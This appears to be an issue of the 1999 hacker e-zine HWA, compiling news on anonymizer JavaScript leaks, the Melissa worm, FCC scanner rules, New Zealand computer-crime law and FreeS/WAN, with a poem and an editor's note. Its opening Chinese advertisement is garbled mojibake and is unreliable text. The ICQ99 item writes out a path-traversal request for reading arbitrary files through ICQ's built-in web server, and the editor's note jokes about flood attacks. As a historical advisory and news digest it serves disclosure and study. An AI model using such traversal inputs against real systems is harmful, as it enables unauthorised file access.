       Á|¡H§Ú­Ì«OÃÒ¨C­Ó´¼¤O¥¿±`ªº¤H¡A¦p¦³¥¿½Tªº¤èªk¡A§¡¥i°µ¨ì¡I
       
       
       §A/§Aªº¤l¤k¬O§_¦³¥H¤U±¡ªp¡G
       * ¾Ç²ß¦¨ÁZ¤£²z·Q¡A»Ý­n¸É²ß¦Ñ®v¸ò¶i¥\½Ò¡H
       * ·í­n³B²z¤j¶q¸ê®Æ®É·P¨ì¦Y¤O¡H
       * Ãø©ó¶°¤¤ºë¯«·Å²ß©Î¤u§@¡H
       * À³¥I¾Ç®Õ/±M·~¦Ò¸Õ·PÄ±À£¤O¤j¦Ó²£¥Í®£Äß¡H
       
       
       ¤W­z°ÝÃD³£¬O¤@¯ë¾Ç¥Í©Î¦bÂ¾¤H¥Kªº³q¯f¡C­ì¦]«ÜÂ²³æ¡A¦]¥L­Ì¨S¦³¥¿½Tªº¾Ç²ß©M°O¾Ð
       ¤èªk¡A
       ¬é¾a¦º°Oµw­I¡A¤£¦ý»Ý­nªø®É¶¡·Å²ß¤Î­I»w¡A¥ç¤£¯à¨Ï°O¾Ð«ù¤[¡C
       ¾Ð²ßªk±Ð¾É§A¾Ç²ß¤§¥¿½T¤èªk¡A¥þ­±´£¤É¾Ç²ß©M°O¾Ð¯à¤O¡C¥¦¬O¤@®M¥ý¶i¾Ç²ß©M°O¾Ð§Þ
       ¥©½Ò
       µ{¡A®Ú¾Ú¤H¤H³£¾Ö¦³ªº¤Ñ¥Í¥»¯à¦Ó³Ð³y¡A«Oµý¥Ñ¤p¾Ç¥Í¦Ü°h¥ð¤H¥K¬Ò¯à´x´¤¡AÀ°§U§A¡G
       * ÁYµu¾Ç²ß®É¶¡ ¢w ¼W¶i¾Ç·~¦¨ÁZ©Î¤u§@®Ä²v
       * ¼W±j°O¾Ð¯à¤O ¢w ¤£¥Î¦º°Oµw­I
       * ´£°ª¾Ç²ß¿³½ì ¢w ´î»´¦Ò¸ÕÀ£¤O
       * ¦Û«H¤ß­¿¼W   ¢w ¦¨¥\¦b´¤
       ¾Ð²ßªk¬O¤@¶¡°ê»Ú©Ê±Ð¨|¾÷ºc¡C¾ã®M½Òµ{¤v¥æ¡y±Ð¨|¸p¡z¼f¾\¡C¦p·Q¥þ­±´£¤É§Aªº¾Ç²ß
       ¯à¤O¡A
       ½Ð§Y¶ñ§´ªí®æ±H¦^¡A§Y¦w±Æ ¡°§K¶O¥Ü½dÁ¿®y¡A°£¦³±M·~¾É®v§@Á¿¸Ñ¥Ü½d¥~¡A¨Ã§Y³õµû¦ô
       »Õ¤U/
       §Aªº¤l¤k¤§¾Ç²ß©M°O¾Ð¯à¤O¡A¦b¤@¤p®É¤§½Ò°ó¤º¡A¾É®v·|±Ð±Â½Òµ{¤ºªº³¡¥÷¤èªk¤Î§Þ
       ¥©¡AÅý¾Ç
       ¥Í¿Ë¨­Ê^Åç¦³¤èªk¾Ç²ß»P¦º°Oµw­Iªº¤À§O¡C
       §¹¥þ§K¶O¡I
                               ¡° 
       ¾Ç¥Í¥²¶·¥Ñ®aªø³­¦P¥X®u
       ¦p±ý°Ñ¥[§K¶O¥Ü½d½Ò°ó¡A½Ð§Y¶ñ§´ªí®æ¶Ç¯u©Î±H¦^¡C          ( HK- 1127 )
       ¾Ç¥Í (  )     ¦bÂ¾¤H¥K (  )
       ©m¦W¡G                  ¾Ç¾ú¡G
       ¦~ÄÖ¡G                  Â¾·~¡G
       ¦í§}¹q¸Ü¡G               Ápµ¸¹q¸Ü :
       ³q«H¦a§}¡G
       
       
       * ½Ð´£¨Ñ¹q¸Ü¸¹½X¡A¤è«K¶Ç»¼¸ÔºÉ¸ê®Æ¡A¥H¤W¸ê®Æµ´¹ï«O±K¡C *
       ­»´äÆW¥J²ø¤h´°¹D¤»¤Q¤K¸¹¤¬«H¤j·H6¼ÓA¤ÎB®y
       Unit A & B, 6/F., Trust Tower, 68 Johnston Road, Wanchai, Hong Kong.
       Fax¡G2527 559            e-mail : learning_bl@yahoo.com

       ...  
                
       X-Originating-IP: [209.209.166.133] 
       From: "liquid phire" <liquidphire@hotmail.com> 
       To: hwa@press.usmc.net 
       Date: Sat, 10 Apr 1999 20:18:48 PDT 
       Mime-Version: 1.0 
       Content-type: text/plain 

       
       
       _identity_
       
       
       alone in a room, trying to find the darkness of peace in the twilight 
       of war. as are we all searching for the same thing with our blank 
       minds, blank hearts, blank faces. for we are the children of the 
       resurection in a time when no one desires to be saved.
       
       
       i look at another and see myself. i cut a throat find that it is my 
       own blood that stains my hands. i see tears in another's eyes, and 
       find it is my own wetting my fingertips.
       
       
       millions of names; no history, no time, no emotion. searching for 
       knowledge in disguise as power. searching for god in disguise as a 
       friend. searching for the past in disguise as the future. we are all 
       the same in our own right.
       
       
       grey clouds swirl in the blackness as i rub my eyes. i open them to 
       the familiar sight of black text. each byte, each character, each 
       glimpse into the world brings me that much closer to what i seek. to 
       what we all seek in this web of masks, identity.
       
       
       phiregod
       liquidphire@hotmail.com
       forgive me for any and all errors.
       
       
       _______________________________________________________________
       Get Free Email and Do More On The Web. Visit http://www.msn.com
       
            
       ================================================================       

      @HWA


  02.0  From the editor.
        ~~~~~~~~~~~~~~~~

     #include <stdio.h>
     #include <thoughts.h>
     #include <backup.h>

     main()
     {
      printf ("Read commented source!\n\n");

     /*
      *Well this is issue #14
      *
      *            "have at it"
      *
      *
      *                             - Ed
      *
      *
      */
      printf ("EoF.\n");
      }


      Congrats, thanks, articles, news submissions and kudos to us at the
     main address: hwa@press.usmc.net complaints and all nastygrams and
     mailbombs can go to /dev/nul nukes, synfloods and papasmurfs to
     127.0.0.1, private mail to cruciphux@dok.org

     danke.

     C*:.


     @HWA
     
 03.0  Holes Found in Multiple Anonymiser Packages 
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Via HNN http://www.hackernews.com/  

       contributed to HNN by Seraphic Artifex 
       An article posted to alt.comp.virus last Sunday claims that most of the 
       Web Anonymiser programs that are currently available have serious security
       flaws and may not really be protecting your privacy as claimed. The post
       covers four of the most popular internet anonymising services Anonymizer,
       Bell Labs, Naval Research Laboratory, and Aixs. The post claims that these
       methods of protecting your privacy have two inherent flaws. One is using 
       JavaScript to pull IP addresses, the second is to redirect the browser to
       another web page and thereby removing the anonymising features by bypassing
       the proxy. 
                                        
       http://www.anonymizer.com
       http://www.bell-labs.com/project/lpwa
       http://www.onion-router.net
       http://aixs.net/aixs/

       Security Holes in Web Anonymizing Services - Original Post 
        
      From: "Richard M. Smith" 
      Newsgroups: alt.comp.virus
      Subject: Security holes in Web anonymizing services
      Date: Sun, 11 Apr 1999 19:12:20 -0400

      Hello,

      I found very serious security holes in all of the major anonymous Web
      surfing services (Anonymizer, Aixs, LPWA, etc.). These security holes
      allow a Web site to obtain information about users that the anonymizing
      services are suppose to be hiding.  This message provides complete
      details of the problem and offers a simple work-around for users until
      the security holes are fixed. 

      The April 8th issue of the New York Times has an article by Peter H.
      Lewis in the Circuits section that describes various types of services
      that allow people to anonymously surf the Web.  The article is entitled
      "Internet Hide and Seek" and is available at the NY Times Web site: 


      http://www.nytimes.com/library/tech/99/04/circuits/articles/08pete.html

      (Note, this article can only viewed if you have a free NY Times Web
      account.)

      The three services described in the article are:

          Anonymizer (http://www.anonymizer.com)
          Bell Labs (http://www.bell-labs.com/project/lpwa)
          Naval Research Laboratory (http://www.onion-router.net)

      In addition, I found a pointer to fourth service in a security
      newsgroup:

          Aixs (http://aixs.net/aixs/)

      The best known of these services is the Anonymizer at www.anonymizer.com. 
      However all four services basically work in the same manner.  They are
      intended to hide information from a Web site when visited by a user.  The
      services prevent the Web site from seeing the IP address, host computer
      name, and cookies of a user.  All the services act as proxies fetching
      pages from Web sites instead of users going directly to Web sites.  The
      services make the promise that they don't pass private information along
      to Web sites.  They also do no logging of Web sites that have been
      visited. 

      After reading the article, I was curious to find out how well each of
      these services worked.  In particular, I wanted to know if it would be
      possible for a Web site to defeat any of these systems.  Unfortunately,
      with less than an hour's worth of work, I was able to get all four
      systems to fail when using Netscape 4.5. 

      The most alarming failures occurred with the Anonymizer and Aixs systems. 
      With the same small HTML page I was able to quietly turn off the
      anonymzing feature in both services. Once this page runs, it quickly
      redirects to a regular Web page of the Web site.  Because the browser is
      no longer in anonymous mode, IP addresses and cookies are again sent from
      the user's browser to all Web servers. This security hole exists because
      both services fail to properly strip out embedded JavaScript code in all
      cases from HTML pages. 

      With the Bell Labs and NRL systems I found a different failure.  With a
      simple JavaScript expression I was able to query the IP address and host
      name of the browser computer.  The query was done by calling the Java
      InetAddress class using the LiveConnect feature of Netscape Navigator. 
      Once JavaScript has this information, it can easily be transmitted it
      back to a Web server as part of a URL. 

      A demo on the use of Java InetAddress class to fetch the browser IP
      address and host name can be found at: 

         http://www.tiac.net/users/smiths/js/livecon/index.htm

      If you are a user of any these services, I highly recommend that you turn
      off JavaScript, Java, and ActiveX controls in your browser before surfing
      the Web. This simple precaution will prevent any leaks of your IP address
      or cookies.  I will be notifying all 4 vendors about these security holes
      and hopefully this same recommendation will be given to all users. 

      If you have any questions or comments, please send them via Email. 

      Richard M. Smith
      smiths@tiac.net


      ---



      HNN contacted Zero-Knowledge Systems, the only
      company _not_ mentioned in the above advisory, and
      they had this to say... 

      Re: JavaScript Querying for IP
      Tweaking JavaScript to pull IP addresses is no different
      than creating a virus. Anything in the application layer
      requires much more effort to scan for malicious content.
      Freedom scans all content, ensuring that a user's IP
      address cannot leave the TCPIP stack unanonymized,
      whether JavaScript requests it or not. However, like a
      virus, people can always design around systems so the
      real challenge for Zero-Knowledge is to catch these
      attempts and correct them. 

      Re: Turning Off the "Anonymizing" Feature
      Redirecting a user to another web page and thus moving
      the browser into a "non-anonymous" mode is not an
      issue with Freedom. Working at the driver level,
      Freedom is application independent and therefore does
      not rely on running your browser through an
      anonymizing proxy. 

      Zero-Knowledge Systems 
      http://www.zks.net/

      Wired magazine comes up with an article on the
      subject. 

      Wired      
      http://www.wired.com/news/news/technology/story/19091.html
      
      Anonymous Web Surfing? Uh-Uh
      by Chris Oakes 

      2:25 p.m.  13.Apr.99.PDT
      People who think they're cruising the Web in a stealth vehicle may find that their
      license plates are still showing. 

      "Anonymizer" services admit that their attempts to protect individual Web
      identities aren't bulletproof, but say that browsing technologies should share the
      blame. 

      Programmer Richard Smith, who has a history of poking holes in supposedly
      secure software programs, tested four anonymizer Web services and came away
      unimpressed. On Monday, Smith said that results revealed a variety of data leaks,
      causing him to worry that users might browse with a false sense of security. 

      "I was surprised that companies who are in the computer security business have
      systems that are so easy to break," he said. "Even more surprising is that four
      vendors had a problem, not just one." 

      The leaks provide clues to a user's identification, such as a numerical
      Internet, or IP, address. 

      "I found very serious security holes in all of the major anonymous Web surfing
      services," Smith said. "These security holes allow a Web site to obtain
      information about users that the anonymizing services are supposed to be hiding." 

      Representatives of the services acknowledge that security lapses occur,
      but argue that the browsing software is as much to blame as they are. They're
      quick to add that they patch holes when they can. 

      Smith tested the Anonymizer, Aixs, the Lucent Personalized Web Assistant, and a
      US Navy-sponsored research project called the Onion Routing service. 

      Although the characteristics of each service vary, they primarily use
      data-stripping and proxy-masking techniques to conceal key data that
      browser software can leave behind. 

      The Anonymizer recently announced an anonymous forwarding service to help
      safeguard the identity of those filing unofficial and uncensored email reports
      from the fighting in Kosovo. 

      The main purpose of all four services, though, is to keep a user's identity safe
      from the prying eyes of Web-site operators by preventing them from
      obtaining an IP address, a host computer's name, or browser cookies that
      tip off a return visit to a site. 

      To hide these details, most services act as a kind of Web waystation between
      browsers and sites. The anonymizing services retrieve Web pages and deliver
      them to users instead of users fetching them directly. 

      An operator at one service says that the weaknesses Smith points out are not
      entirely the fault of the anonymizer. Flaws in the software must take some
      blame, too. 

      Using a test HTML page containing simple JavaScript code -- which could be posted
      on a site seeking to sniff out a user's identity -- Smith was able to quietly turn
      off the anonymizing feature in the Anonymizer and Aixs systems. 

      No longer anonymous, the user's browser will resume the delivery of IP addresses
      and cookies to a Web site. Smith says that's due to the services failing to
      consistently filter embedded JavaScript code from a site's HTML code. 
                     
      Anonymizer CEO Lance Cottrell said that the company is responding to Smith's
      alert. But he said that to exploit the vulnerability, a site would have to be
      actively seeking to do so. 

      "In any case, being bounced out of the Anonymizer would only show that the
      person had been there, but would not allow correlation with any postings,"
      Cottrell said, adding that no anonymizer system can promise perfectly sealed
      identity. 

      "The systems we are working with are simply too flexible, and allow things to be
      done in too many ways, for security to be perfect. We try to anticipate all the
      loopholes we can, then act like lightning when a unforeseen hole is reported." 

      Attempts to reach representatives at the Aixs service were unsuccessful. 

      With the Lucent Personalized Web Assistant and Onion Routing service,
      Smith found a different type of problem. "With a simple JavaScript expression, I
      was able to query the IP address and host name of the browser computer." 

      Once JavaScript has this information, he said it can easily be transmitted it back
      to a Web server as part of a URL. He said that the same tests run with Internet
      Explorer 4.0 did not produce the same vulnerabilities. 

      Jeremey Barrett, an engineer for the Onion Routing System, said that the
      problem lies with the browsers, not with anonymizer services like his. Browsers, he
      said, will surrender a user's IP address to sites that request it with JavaScript or
      ActiveX code. 

      Browser manufacturers have released patches periodically as issues surrounding
      the acknowledged risks of executing JavaScript and ActiveX code have surfaced. 

      "The only way to prevent this, regardless of the anonymizing system used, is to
      filter out the JavaScript code using some form of proxy," said Barrett. 

      He also said that Onion Routing is not simply an anonymizer meant to keep an
      individual site from knowing who's visiting. "Rather, it's meant to prevent anyone
      else from knowing that you are talking to a particular Web server." 

      "For example, you might log into your bank's Web site over the Onion Routing
      system. You would very definitely want the bank to know who you were, but you
      might not want anyone to know you were talking to your bank." 

      For airtight Web browsing, any feature beyond basic HTML would have to be
      turned off in the browser; that's the  nature of the approach taken by the
      Anonymizer as it strips out such code. 

      Smith would like to see any anonymizer service provide both the proxy and the
      standard anonymizing service that strips data from a user's browsing trail. 

      Meanwhile, anonymizing services should warn their users and fix the bugs.
      "Netscape should fix how it handles Java so that it doesn't leak people's IP
      address. This bug does not exist in IE4," Smith said. He reported the problem to
      Netscape last September, but said that the company still hasn't provided a fix. 
      
      @HWA                     
                     
 04.0 Some musings on the Melissa 'virus' by WHiTe VaMPiRe
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      The Melissa "Virus"

      First of all, Melissa is not really a virus, regardless of what the media 
      portrays it as. It should be considered a worm. 

      What is the deal with mainstream media hyping all these so-called "viruses"? 
      Happy99.exe, and Melissa, are some of the more recent ones. The only reason 
      these "viruses" propagate is due to a person's ignorance. Do not run programs
      that you are unaware of what they are. That simple.

      Then this random Joe Blow is out on $100,000 dollar bond due to writing some 
      macro in Word. At the most he did was spam, and maybe commit some sort of fraud 
      with America Online. That evil person. Lets jail him for 40 years! (If I remember
      correctly that is the maximum sentance for his "crime".) When rapists are getting
      out in less than 20. That makes total sense.

        I typically ignore things such as this. I knew very little about Happy99.exe 
      until I had a relative call up requesting my assistance, once I looked into it I
      was wondering what the hell was going on. Things like this should not even be 
      circulating in the first place.

        I must say I feel rather sorry for the person who wrote Melissa. His actions may
         have not been in the best taste, but the harsh way
      he is being delt with is a tad over the line.

        I have yet to figure out why virii such as CIH, et cetera, are overlooked yet 
      Happy99.exe gets more news coverage than OJ Simpson. Maybe some indirect media bias,
      or a "real" virus is not as accessible to the common computer user. I am not one to
      claim to know.

      Regards,
           -WHiTe VaMPiRe\Rem-
                         
       @HWA
       
 05.0 So much for your radio hobby
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      

      April 9, 1999, 13:47
      Author: WHiTe VaMPiRe
  
      As reported by HNN... 
  
      FCC has made some Amendments to Parts 2 and 15 of the "Commissions Rules to 
      Further Ensure That Scanning Receivers Do Not Receive Cellular Radio Signals",
      "Specifically, we adopt rules that require scanning receivers to include 
      adequate filtering so that they do not pick up Cellular Service transmissions 
      even when tuned to frequencies outside those allocated to the Cellular Service." 
      This could potentially ban the entire radio spectrum depending on interpretation. 
  
      Starting June 1, 1999 we will see this label on every new scanner: 
  
      WARNING: MODIFICATION OF THIS DEVICE TO RECEIVE CELLULAR RADIOTELEPHONE SERVICE 
      SIGNALS IS PROHIBITED UNDER FCC RULES AND FEDERAL LAW. 
  
      It will soon be illegal to import and manufacture scanners and frequency converter
      kits that are cable of listening to the cell transmissions (this includes the 
      allotted frequencies AND cell images). 
  
      Manufacturers are required to design their scanners so that if they are modified 
      to receive cell transmissions they will be rendered inoperable. 
  
      Regardless of the date of manufacture, it will soon be against the law to modify a 
      scanner to listen to cell transmissions. Any modification of a scanner that changes
      it's operating characteristics voids the equipment certification. 
  
      Interesting how this has become a problem of the very poor scanner and radio industry
      as opposed to forcing the very very rich cellular telephone industry to create more 
      secure phones. These new laws will not prevent people (or the government) from 
      intercepting your personal cellular communications as more secure phones might. These 
      laws will only make criminals out of thousands of otherwise law abiding citizens.
  
  
      HNN also has a new topic in their Buffer Overflow section written by Brian Oblibion 
      regarding "why this is a bad thing". 
  
      (Most of this was composed by HNN. We at Project Gamma found their article to be 
      straight to the point, so why rehash good news. Please visit HNN, excellent site.) 
     
     
      Check out Brian Oblivion's article on this topic in Buffer Overflow on HNN
      http://www.hackernews.com/orig/scanner.html
      <a href="http://www.hackernews.com/orig/scanner.html">link</a>
      
      @HWA          
      
    
 06.0  ICQ99 Vulnerabilities still with us
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Via Project Gamma <a href="http://www.projectgamma.com/">www.projectgamma.com</a>
       
       ICQ Vulnerabilities

       April 8, 1999, 22:11
       Author: WHiTe VaMPiRe

       Ever wonder what that little house was next a person's nick on your ICQ 
       list? Well, that means that user is running ICQ's pseudo "httpd". This
       was a "feature" included with ICQ 99a. 

       This "feature" has several vulnerabilities. The first being, if you connect
       to the httpd (port 80) and send an invalid command it causes ICQ to  gpf
       (General Protection Fault). An example would be "quit". 

       The second vulnerabilty being: When you are connected to ICQ and have the 
       httpd enabled every request to http://members.icq.com/ will be redirected to
       your computer. Thus, exposing your IP. Nevertheless only files in 
       "/ICQ99/Hompage//personal" should be accessible. But a  visitor can "climb up"
       the directory tree with dots, IE. http:///../bleah.html would present him with
       the file "bleah.html" in the "ICQ99" directory. With enough "dots" the person 
       could get all the way to your root directory. But there is one barrier: the 
       ICQ-pseudo-httpd only delivers files with the ".html" extension. To "fool" it
       you add ".html/" to the URL and the httpd sends every file you request. For 
       example, "http:///../../../../../../config.sys" would not work, 
       but "http:///.html/../../../../../../config.sys" would. 

       This has been vulnerable in both ICQ 99a Build 1700 and 1547. 

       Bugtraq contributed to this report.   
    
       @HWA                       
       
 07.0  "Hacking to become a crime"      
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Forwarded From: William Knowles <erehwon@kizmiaz.dis.org>

       
       http://www.infotech.co.nz/current/nxhack.html
       April 12, 1999
       Hacking to become a crime
       By AMANDA WELLS
       THE GOVERNMENT is to take long-awaited steps towards plugging electronic
       crime loopholes by proposing four new offences for the Crimes Act.
       It will become a criminal act to access a computer system with a dishonest
       purpose, to attempt to access a computer system for a dishonest purpose,
       to damage or interfere with a computer system, and to have unauthorised
       access to a computer.
       The proposed amendments would make hacking, or entering a system without
       permission, a crime, which it currently is not.
       
       
       Justice Minister Tony Ryall says that the amendments will be included in a
       Bill that addresses broader property law issues, to be introduced this
       Parliamentary session.
       
       
       Mr Ryall says the amendments target computer hackers and virus spreaders.
       
       
       "The Government intends to introduce a number of amendments to protect
       computer owners from unlawful access to their systems and dishonest use of
       the data and information stored on their computer systems."
       The Crimes Act was drafted in 1961 and predates crimes made possible by
       current computer technology.
       
       
       The minister has been considering a draft report covering hacking issues,
       and a 1998 Law Commission report, for several months.
       Hacking incidents involving Internet service providers the Internet Group
       (Ihug) and Telecom's Xtra late last year underscored the lack of
       legislation to deal with computer criminals.
       
       
       The man accused of hacking into Xtra, Andrew Garrett, last week pleaded
       not guilty to seven charges brought under current legislation.  These
       charges include obtaining credit from Telecom without revealing that he
       was bankrupt, and using software documents for his own gain.
       
       
       The Law Commission's report was prompted by a Court of Appeal case that
       allowed a group of men to appeal convictions for dishonesty - because
       using a document to dishonestly make a bank credit an account is not a
       crime under current legislation.
       
       
       According to the minister, "recent Court of Appeal cases have highlighted
       the need to update the criminal law to take account of new technology and
       computer-related offending".
       On releasing the report in December, the Law Commission called for urgent
       action to plug the gap in criminal law.
       
       
       The commission has since set up an advisory committee to produce a
       discussion paper on computer misuse, which is scheduled for release at the
       end of this month.
       
       
       This report is due to contain recommendations for legislative reform that
       may be more wide-ranging than the minister's proposals.
       The Internet Society of New Zealand has called for action on electronic
       crime legislation, and lawyers who specialise in the information
       technology area also say new legislation is needed if computer criminals
       are to be successfully prosecuted.
       After last year's hacking incidents, Ihug initiated the formation of a
       lobby group to push for law reform.
       
       
       The Network of Internet Related Organisations (Niro) now has 50 member
       groups and a Web site due to go online this week.
       
       
       Members include Web designers and Internet companies, with most of the
       major Internet providers involved.
       Lawyer Chris Patterson represents Niro, and says the Web site will
       function as a discussion forum, where laws will be proposed and discussed.
       
       
       He says a special piece of electronic crime law is needed, rather than any
       amendments to existing law.
       
       
       "We need the equivalent to the American Computer Abuse and Fraud Act.  We
       need to be able to say that there are certain things that are criminal
       acts, which the Crimes Act just won't have the capacity to deal with."
       
       
       -o-
       Subscribe: mail majordomo@repsec.com with "subscribe isn".
       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
       
       @HWA
       
 08.0 Client Security: You've got armored trucks,
                    but what about the pick pockets? - Chris Wysopal, The l0pht
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~              
 
        Forwarded From: Robert Hettinga <rah@shipwright.com>
       
       
                 The Digital Commerce Society of Boston
       
       
                              Presents
       
       
                            Chris Wysopal
                               Hacker,
                        L0pht Heavy Industries
       
       
       
               Client Security: You've got armored trucks,
                    but what about the pick pockets?
       
       
       
                       Tuesday, April 6th, 1999
                              12 - 2 PM
                  The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA
       
       
       
       Everyone in ecommerce these days is peddling better vaults for stores and
       stronger armored cars to deliver payments and merchandise. Does this
       really matter in an Internet world where you can pick the pocket of a
       consumer? Or more likely, to automate the pocket picking of a large number
       of consumers.
       
       
       Current authentication and purchasing systems rely on consumers using off
       the shelf operating systems such as windows 95/98.  This is the operating
       system which Microsoft has admitted to having no security model.  Current
       ecommerce client security is layering strong encryption on this bed of
       jello.
       
       
       What are some of the attacks that are being used?  What technology can be
       used to overcome this problem?
       
       
       
       Chris Wysopal has a computer engineering degree from Rensselaer
       Polytechnic Institute, but almost all of what he knows about computer
       security he has learned from his exploration of computers as a hacker for
       the past 15 years.  As an associate of L0pht Heavy Industries he has
       worked to expose the "snake oil" in the computer security industry and
       tried to make the general public aware of the just how fragile the
       internet and security products are.  Last May he testified as a computer
       security expert before the Senate Governmental Affairs Committe and has
       appeared on several TV documentaries and news programs, including the BBC,
       CBC, ZDTV, FOX News, and The Jim Lehrer News Hour.
       
       
       
       This meeting of the Digital Commerce Society of Boston will be held on
       Tuesday, May 4, 1999, from 12pm - 2pm at the Downtown Branch of the
       Harvard Club of Boston, on One Federal Street. The price for lunch is
       $32.50. This price includes lunch, room rental, various A/V hardware, and
       the speakers' lunch.  The Harvard Club *does* have dress code:  jackets
       and ties for men (and no sneakers or jeans), and "appropriate business
       attire" (whatever that means), for women.  Fair warning:  since we
       purchase these luncheons in advance, we will be unable to refund the price
       of your lunch if the Club finds you in violation of the dress code.
       
       
       
       We need to receive a company check, or money order, (or, if we *really*
       know you, a personal check) payable to "The Harvard Club of Boston", by
       Saturday, May 1st, or you won't be on the list for lunch. Checks payable
       to anyone else but The Harvard Club of Boston will have to be sent back.
       
       
       Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
       Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
       Club of Boston", in the amount of $32.50. Please include your e-mail
       address, so that we can send you a confirmation
       
       
       If anyone has questions, or has a problem with these arrangements (We've
       had to work with glacial A/P departments more than once, for instance),
       please let us know via e-mail, and we'll see if we can work something out. 
       
       
       Upcoming speakers for DCSB are:
       
       
       June    Ron Rivest     MIT       Deep Crack = MicroMint?
       July    TBA
       
       
       We are actively searching for future speakers.  If you are in Boston
       on the first Tuesday of the month, and you are a principal in digital
       commerce, and would like to make a presentation to the Society, please
       send e-mail to the DCSB Program Commmittee, care of Robert Hettinga,
       <mailto: rah@shipwright.com>. 
       
       
       
       For more information about the Digital Commerce Society of Boston,
       send "info dcsb" in the body of a message to <mailto:
       majordomo@ai.mit.edu> . If you want to subscribe to the DCSB e-mail
       list, send "subscribe dcsb" in the body of a message to <mailto:
       majordomo@ai.mit.edu> .
       
       
       We look forward to seeing you there!
       
       
       Cheers,
       Robert Hettinga
       Moderator,
       The Digital Commerce Society of Boston
       
       
       
       -----------------
       Robert A. Hettinga <mailto: rah@philodox.com>
       Philodox Financial Technology Evangelism <http://www.philodox.com/>
       44 Farquhar Street, Boston, MA 02131 USA
       "... however it may deserve respect for its usefulness and antiquity,
       [predicting the end of the world] has not been found agreeable to
       experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
       
       
       For help on using this list (especially unsubscribing), send a message to
       "dcsb-request@ai.mit.edu" with one line of text: "help".
       
       
       -o-
       Subscribe: mail majordomo@repsec.com with "subscribe isn".
       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
       
       @HWA       
       
 09.0  Strong privacy software for Linux makes worldwide debut
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Forwarded From: Sandy Harris <sandy.harris@sympatico.ca>
       Originally From: Henry Spencer <henry@spsystems.net>
       
       
       
       Strong Internet Privacy Software Free for Linux Users Worldwide
       
       
       Toronto, ON, April 14, 1999 - 
       
       
       The Linux FreeS/WAN project today released free software to protect the
       privacy of Internet communications using strong encryption codes. 
       FreeS/WAN automatically encrypts data as it crosses the Internet, to
       prevent unauthorized people from receiving or modifying it.  One ordinary
       PC per site runs this free software under Linux to become a secure gateway
       in a Virtual Private Network, without having to modify users' operating
       systems or application software.  The project built and released the
       software outside the United States, avoiding US government regulations
       which prohibit good privacy protection.  FreeS/WAN version 1.0 is
       available immediately for downloading at http://www.xs4all.nl/~freeswan/. 
       
       
       "Today's FreeS/WAN release allows network administrators to build
       excellent secure gateways out of old PCs at no cost, or using a cheap new
       PC," said John Gilmore, the entrepreneur who instigated the project in
       1996.  "They can build operational experience with strong network
       encryption and protect their users' most important communications
       worldwide." 
       
       
       "The software was written outside the United States, and we do not accept
       contributions from US citizens or residents, so that it can be freely
       published for use in every country," said Henry Spencer, who built the
       release in Toronto, Canada.  "Similar products based in the US require
       hard-to-get government export licenses before they can be provided to
       non-US users, and can never be simply published on a Web site.  Our
       product is freely available worldwide for immediate downloading, at no
       cost." 
       
       
       FreeS/WAN provides privacy against both quiet eavesdropping (such as
       "packet sniffing") and active attempts to compromise communications (such
       as impersonating participating computers).  Secure "tunnels" carry
       information safely across the Internet between locations such as a
       company's main office, distant sales offices, and roaming laptops.  This
       protects the privacy and integrity of all information sent among those
       locations, including sensitive intra-company email, financial transactions
       such as mergers and acquisitions, business negotiations, personal medical
       records, privileged correspondence with lawyers, and information about
       crimes or civil rights violations.  The software will be particularly
       useful to frequent wiretapping targets such as private companies competing
       with government-owned companies, civil rights groups and lawyers,
       opposition political parties, and dissidents. 
       
       
       FreeS/WAN provides privacy for Internet packets using the proposed
       standard Internet Protocol Security (IPSEC) protocols.  FreeS/WAN
       negotiates strong keys using Diffie-Hellman key agreement with 1024-bit
       keys, and encrypts each packet with 168-bit Triple-DES (3DES).  A modern
       $500 PC can set up a tunnel in less than a second, and can encrypt 6
       megabits of packets per second, easily handling the whole available
       bandwidth at the vast majority of Internet sites.  In preliminary testing,
       FreeS/WAN interoperated with 3DES IPSEC products from OpenBSD, PGP, SSH,
       Cisco, Raptor, and Xedia.  Since FreeS/WAN is distributed as source code,
       its innards are open to review by outside experts and sophisticated users,
       reducing the chance of undetected bugs or hidden security compromises. 
       
       
       The software has been in development for several years.  It has been
       funded by several philanthropists interested in increased privacy on the
       Internet, including John Gilmore, co-founder of the Electronic Frontier
       Foundation, a leading online civil rights group. 
       
       
       Press contacts:
       Hugh Daniel,   +1 408 353 8124, hugh@toad.com
       Henry Spencer, +1 416 690 6561, henry@spsystems.net
       
       
       * FreeS/WAN derives its name from S/WAN, which is a trademark of RSA Data
         Security, Inc; used by permission.
       
       
           -30-
       
       
       -o-
       Subscribe: mail majordomo@repsec.com with "subscribe isn".
       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
       
       @HWA
       
 10.0  Security Search engine back online
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       From: Security Search <securitysearch@securitysearch.net>


       
       As many of you are aware, on Friday April 9 we were forced to take
       Security Search offline.  This was due to the fact that our Internet
       Provider could not cope with Security Search's high volume of web site
       traffic. 
       
       
       We have now moved to a new ISP and are back online. We thank everyone for
       their kind words, support and patience during the time we were offline. 
       
       
       We are determined to return the favour by providing you with the most
       comprehensive source of IT security information and resources on the
       Internet. 
       
       
       Security Search will continue to grow and offer new services and we are
       eager to receive your ideas on how to make it better. 
       
       
       We hope that our "teething" problems are over and invite you to return to
       Security Search. Visit http://www.securitysearch.net
       
       
       Security Search
       The Internet Security Search Engine
       http://www.securitysearch.net/
       
       
       
       -o-
       Subscribe: mail majordomo@repsec.com with "subscribe isn".
       Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
       
       @HWA       
                
 11.0  Smart Card Forum privacy symposium
